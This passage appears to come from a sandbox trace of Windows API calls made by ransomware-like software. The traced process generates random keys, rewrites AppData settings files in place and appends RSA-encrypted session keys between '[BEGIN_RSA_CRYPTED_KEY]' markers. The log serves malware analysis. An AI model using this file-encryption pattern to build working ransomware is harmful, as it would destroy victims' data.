hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.277] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0199.297] ReadFile (in: hFile=0xfd8, lpBuffer=0x59d2f0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2f0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.297] SetFilePointer (in: hFile=0xfd8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.297] WriteFile (in: hFile=0xfd8, lpBuffer=0x59d290*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d290*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.297] SetFilePointer (in: hFile=0xfd8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0199.297] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.297] WriteFile (in: hFile=0xfd8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.298] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.298] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.299] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.299] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="kBngGSmbC1oKuPi6kh6EZ5Rq0A2l1pn1tmM3Bl6fWzo+KI/ot1Dww//ZJrQumEsZ\naXDS08M4XEZ7emIxWZqag/5MsYsGXgjoJ42PHmF5m6tzrXE70U8wjGhzp+AzjQqZ\nAphCOn0v/BViUmiTqbXrZFJBy48tWVWFlLKudceDAj8Sd7Ke9X47ACaft6TRQ9+n\nV86UHDBTApQJ1Vtycb+SledFtt6VZ8BC8UBeM2WCqQUc7uJgG8qkogsGM7MHOYEy\nFSQbDcgrBQ4kKZDvW4xpBK+gUYdMYwLrIcnWsuTzCydeu/yq+5Dxlpy/pTDQ3o8J\nEmlGRdqSJBU7AcOPWYlYPA==\n", pcchString=0x2e3f9a8) returned 1 [0199.299] WriteFile (in: hFile=0xfd8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.299] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.300] WriteFile (in: hFile=0xfd8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.300] CloseHandle (hObject=0xfd8) returned 1 [0199.306] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.306] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\Settings\\settings.dat.LOG1", dwFileAttributes=0x80) returned 1 [0199.307] ReadFile (in: hFile=0xfd8, lpBuffer=0x2f8d8c0, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8d8c0*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.338] SetFilePointer (in: hFile=0xfd8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.338] WriteFile (in: hFile=0xfd8, lpBuffer=0x2f958e0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.339] SetFilePointer (in: hFile=0xfd8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0199.339] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.339] WriteFile (in: hFile=0xfd8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.339] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.339] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.340] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.340] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="VEnDaH7LuNugd3s/LOU7bhD+EU7fmDAn09psniD//P7LlX65eH7tRY0BEkiQGA5P\nL83+HgZlqyUUJlK731nQtxaOBwZxZ+cDDhpCAkmFoEPHyMNGh+4teQz17kWMehqn\nZvPU/q2YjhrLMWDgfJAaUG3GVIOe2nAY95I1YJbojxXTXXKJco94LBKYc0nBk1KV\nhTZVELeq4sv7WkAIHuPZRHeqkg8fCx+h3/vBAkux+cjivmzVORWqM8S8+vdcEWhI\nC78iYFlATmPcpm74VZZ6lnmCi+1ELT38NB+VC7rpQ3NSJ9fh2rzJja5ymm4P5her\n10cBeegJKy4lZrB+15ImAQ==\n", pcchString=0x2e3f9a8) returned 1 [0199.340] WriteFile (in: hFile=0xfd8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.340] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.340] WriteFile (in: hFile=0xfd8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.340] CloseHandle (hObject=0xfd8) returned 1 [0199.342] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.342] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0199.343] ReadFile (in: hFile=0xfd8, lpBuffer=0x2f978e8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f978e8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.368] SetFilePointer (in: hFile=0xfd8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.368] WriteFile (in: hFile=0xfd8, lpBuffer=0x2f998f0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f998f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.369] SetFilePointer (in: hFile=0xfd8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0199.369] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.369] WriteFile (in: hFile=0xfd8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.369] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.369] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.369] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.369] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="L3kmO26+QFpWYEf+O7MvFhE3iWDOwu8EzBnSlOJ9QncGrQNPpfRrICJWOb3mfVpl\nHDXrY+F7B74wK8wtd+zgQ13gxtbHBowpHKy9hFXdYNV71wCGC83Ba+n11XuojExK\nqZMJ5LJthDZMT5gUmNRZfmUgOGWK3zVfJP9CD2AiU23g3VLXJq4ptbfLi9bsmIKg\nulo+GtjUpF3Elk37SAzSYUxNZ9JrNIRU3HEHQkGlUYPUzjgwqdB20SEiPQYml80J\nShnTgjf6lMxThaPoX+sZGrZAuSrcFLPUA5ITUWlVeVV3234dJVEzl73nMLki7hHO\nZ91jNcuG2f1IjeBG+osDWQ==\n", pcchString=0x2e3f9a8) returned 1 [0199.369] WriteFile (in: hFile=0xfd8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.370] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.370] WriteFile (in: hFile=0xfd8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.370] CloseHandle (hObject=0xfd8) returned 1 [0199.371] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.371] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.SkypeApp_kzf8qxf38zg5c\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0199.372] ReadFile (in: hFile=0xfd8, lpBuffer=0x59d2d0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2d0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.372] SetFilePointer (in: hFile=0xfd8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.372] WriteFile (in: hFile=0xfd8, lpBuffer=0x59d2f0*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2f0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.372] SetFilePointer (in: hFile=0xfd8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0199.372] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.372] WriteFile (in: hFile=0xfd8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.373] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.373] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.373] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.373] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="AiKg3byg9vqPvAvakdo79J8UfxXU02WYfMSwD/3CWo4YhK62d8/8blh8gkSBfKmm\nEtW8JAMPgTT6zDOPA0i303l4YzmJPSL+H92qAnZ8BqKQvVXweTXTVQ8IGQFYQRAx\nXG4Sq84tTjK9wD3qVGJqjGyzJCCkhGqfPUhSxaGEe1PSJBLAWmKJZ0934T6/sM1o\nFNJuzRk5euOO5WpcOZcFlb4eam45soNkp5a3ioCS2Bt98W7tl39f3cyft3/wVb9n\nr+D5Qz2e3m3IHENPLI+twS+6bBfTlWkw2E6yb1Gz73CZv44/CRthfx152gDsNXov\nqM/zq7E1JUhlT3gDIhGAMA==\n", pcchString=0x2e3f9a8) returned 1 [0199.373] WriteFile (in: hFile=0xfd8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.374] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.374] WriteFile (in: hFile=0xfd8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.374] CloseHandle (hObject=0xfd8) returned 1 [0199.376] WriteFile (in: hFile=0xfe4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.377] CloseHandle (hObject=0xfe4) returned 1 [0199.377] WriteFile (in: hFile=0xfe4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.378] CloseHandle (hObject=0xfe4) returned 1 [0199.388] WriteFile (in: hFile=0xfe4, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.390] CloseHandle (hObject=0xfe4) returned 1 [0199.390] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.390] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0199.391] ReadFile (in: hFile=0xff8, lpBuffer=0x2f8f8c8, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f8f8c8*, lpNumberOfBytesRead=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.401] SetFilePointer (in: hFile=0xff8, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.401] WriteFile (in: hFile=0xff8, lpBuffer=0x2f958e0*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f958e0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x2000, lpOverlapped=0x0) returned 1 [0199.401] SetFilePointer (in: hFile=0xff8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x2000 [0199.401] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.401] WriteFile (in: hFile=0xff8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.402] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.402] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.402] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.402] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="k8BrgM1DAOhEDMIbYdELx3ZuVNEsLs8bTXBcgJ1z6XJ5MRukHoLkOVzUmJKpzoMN\nTa41Ejso+XsRlgZf6rt/VG3SNhYCWTgls5IDwRTuNA1ZRVbN67iir0MK/Yr7QDWe\n0x+IOhNm0ayRPoTmTLzB1Wu3I0N03ASC1+IjLlav2OKpKSpH3a5r+998TCxE1EYZ\nBQIjE0jOrIbLi4fVroAZYVPGhnnKp2F6BsSuQY52xIW/0uiz1WexiXy/73L2Bgqt\nZR3SXiQ5ckqcIYVQ2CJdgU9PIkb9AzeQB0/cg0/PHEGQychRG6rscb/WEmcZm412\nxEQaaQ/knG3xGzItSfVUDw==\n", pcchString=0x2e3f9a8) returned 1 [0199.402] WriteFile (in: hFile=0xff8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.403] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.403] WriteFile (in: hFile=0xff8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.403] CloseHandle (hObject=0xff8) returned 1 [0199.427] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.427] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.StorePurchaseApp_8wekyb3d8bbwe\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0199.428] ReadFile (in: hFile=0xff8, lpBuffer=0x59d2a0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2a0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.428] SetFilePointer (in: hFile=0xff8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.428] WriteFile (in: hFile=0xff8, lpBuffer=0x59d250*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d250*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.428] SetFilePointer (in: hFile=0xff8, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0199.428] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.428] WriteFile (in: hFile=0xff8, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.430] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.430] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.430] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0199.430] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5a8108, pcchString=0x2e3f9a8 | out: pszString="074kFUaLZyciBL8Z7U45kL9/Q8pJL6NQHe8CfN5SchDfgc437bvDuvmHxL9u5ZaM\n6eWaabzC6orK4kwoZJ7wvsXDTCsNnsFQYZH0+3po3aFf2HKJX2nnMDO4Y3GvZqbV\niaCI3tBgcjcS6RqqEPzy3kyeKUpZ1Ltrdjgsmuw1zSK9RplQxxJGJ0FzIjwjfyh6\nR2BqniLTjHJgxfR3pyPMxoF6Xwd+OI4TTLuyFXxmDXfUcS4w6d9EaNjEwVaoQ5LV\nt3lamoCkWPClfH4YGlyNaKdp9qb5LhjLY9ZdeCdwyOL3Co3tt30Zc79FFs/9ZQeX\nqvQUXpeB7vSN2ZZYyUI4pw==\n", pcchString=0x2e3f9a8) returned 1 [0199.430] WriteFile (in: hFile=0xff8, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0199.432] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.432] WriteFile (in: hFile=0xff8, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.432] CloseHandle (hObject=0xff8) returned 1 [0199.436] WriteFile (in: hFile=0x1008, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.438] CloseHandle (hObject=0x1008) returned 1 [0199.438] WriteFile (in: hFile=0x1008, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.440] CloseHandle (hObject=0x1008) returned 1 [0199.441] WriteFile (in: hFile=0x1008, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0199.443] CloseHandle (hObject=0x1008) returned 1 [0199.443] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0199.443] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.VCLibs.140.00_8wekyb3d8bbwe\\Settings\\settings.dat.LOG2", dwFileAttributes=0x80) returned 1 [0199.444] ReadFile (in: hFile=0x101c, lpBuffer=0x59d2a0, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d2a0*, lpNumberOfBytesRead=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.444] SetFilePointer (in: hFile=0x101c, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0199.444] WriteFile (in: hFile=0x101c, lpBuffer=0x59d320*, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x59d320*, lpNumberOfBytesWritten=0x2e3f9b4*=0x0, lpOverlapped=0x0) returned 1 [0199.445] SetFilePointer (in: hFile=0x101c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x0 [0199.445] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0199.445] WriteFile (in: hFile=0x101c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0199.446] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0199.446] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0199.446] CryptBinaryToStringA (in: pbBinary=0x45b234, 